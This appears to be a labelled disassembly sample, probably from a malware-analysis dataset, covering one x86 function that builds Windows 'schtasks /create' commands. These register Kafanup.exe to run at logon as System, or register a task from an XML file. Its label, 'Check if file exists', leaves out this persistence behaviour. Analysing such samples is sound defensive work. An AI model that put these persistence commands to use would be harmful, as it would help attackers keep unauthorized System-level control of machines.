Function at 0x10010960
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1017c865
mov eax, dword fs:[0]
push eax
sub esp, 0x490
mov eax, dword [0x101fd398]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x24], ecx
push 4
lea ecx, [ebp - 0x14]
call fcn.10005000
lea ecx, [ebp - 0x14]
call fcn.10007cc0
mov dword [ebp - 4], 0
push 0x101e045c
push 0x101e0518
lea eax, [ebp - 0x14]
push eax
call fcn.10012d90
add esp, 0xc
push 4
lea ecx, [ebp - 0x1c]
call fcn.10005000
lea ecx, [ebp - 0x1c]
call fcn.10007cc0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x24]
add ecx, 0x4c
call fcn.100055d0
push eax
lea ecx, [ebp - 0x18c]
call fcn.10005610
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x30], ecx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x24]
add ecx, 0x64
call fcn.100055d0
push eax
lea ecx, [ebp - 0x108]
call fcn.10005610
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], edx
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x30]
call fcn.100055d0
push eax
mov ecx, dword [ebp - 0x34]
call fcn.100055d0
push eax
push str.___s_sKafanup.exe____stageschtasks_
lea eax, [ebp - 0x1c]
push eax
call fcn.10012d90
add esp, 0x10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x108]
call fcn.100055e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18c]
call fcn.100055e0
push 4
lea ecx, [ebp - 0x18]
call fcn.10005000
lea ecx, [ebp - 0x18]
call fcn.10007cc0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x24]
add ecx, 0x4c
call fcn.100055d0
push eax
lea ecx, [ebp - 0x294]
call fcn.10005610
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x40], ecx
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x24]
add ecx, 0x64
call fcn.100055d0
push eax
lea ecx, [ebp - 0x210]
call fcn.10005610
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x44], edx
mov byte [ebp - 4], 6
push 0x101e055c
mov ecx, dword [ebp - 0x40]
call fcn.100055d0
push eax
mov ecx, dword [ebp - 0x44]
call fcn.100055d0
push eax
push str._s_s_s.xml
lea eax, [ebp - 0x18]
push eax
call fcn.10012d90
add esp, 0x14
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x210]
call fcn.100055e0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x294]
call fcn.100055e0
lea ecx, [ebp - 0x14]
call fcn.100055d0
push eax
lea ecx, [ebp - 0x398]
call fcn.10005640
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x4c], ecx
mov byte [ebp - 4], 7
push 0
mov ecx, dword [ebp - 0x4c]
call fcn.100055d0
mov edx, 0x1388
mov ecx, eax
call fcn.1003dd00
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x398]
call fcn.100055e0
call fcn.1003dca0
test eax, eax
je 0x10010b76
lea ecx, [ebp - 0x1c]
call fcn.100055d0
push eax
push 0x101e0574
push str.schtasks__create__sc_ONLOGON__tn__s__tr__s__ru__System_
lea edx, [ebp - 0x14]
push edx
call fcn.10012d90
add esp, 0x10
jmp 0x10010c40
push 4
lea ecx, [ebp - 0x20]
call fcn.10005000
lea ecx, [ebp - 0x20]
call fcn.10007cc0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x24]
add ecx, 0x4c
call fcn.100055d0
push eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x64
call fcn.100055d0
push eax
push str.__s_sKafanup.exe_
lea eax, [ebp - 0x20]
push eax
call fcn.10012d60
add esp, 0x10
lea ecx, [ebp - 0x20]
call fcn.100055d0
push eax
lea ecx, [ebp - 0x84]
call fcn.10005180
mov byte [ebp - 4], 9
push str.command
lea ecx, [ebp - 0x6c]
call fcn.10005180
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x18]
call fcn.100055d0
lea edx, [ebp - 0x6c]
mov ecx, eax
call fcn.1003ed60
add esp, 4
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x6c]
call fcn.10009870
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x84]
call fcn.10009870
lea ecx, [ebp - 0x18]
call fcn.100055d0
push eax
push 0x101e05f4
push str.schtasks__create__tn__s__xml___s_
lea edx, [ebp - 0x14]
push edx
call fcn.10012d90
add esp, 0x10
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x20]
call fcn.10009c10
push 0
lea ecx, [ebp - 0x18]
call fcn.10012280
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10010c7e
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.10009c10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.10009c10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.10009c10
jmp 0x10010cee
lea ecx, [ebp - 0x14]
call fcn.100055d0
push eax
lea ecx, [ebp - 0x49c]
call fcn.10005640
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov byte [ebp - 4], 0xb
push 0
mov ecx, dword [ebp - 0x54]
call fcn.100055d0
mov edx, 0x1388
mov ecx, eax
call fcn.1003dd00
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x49c]
call fcn.100055e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.10009c10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.10009c10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.10009c10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10153588
mov esp, ebp
pop ebp
ret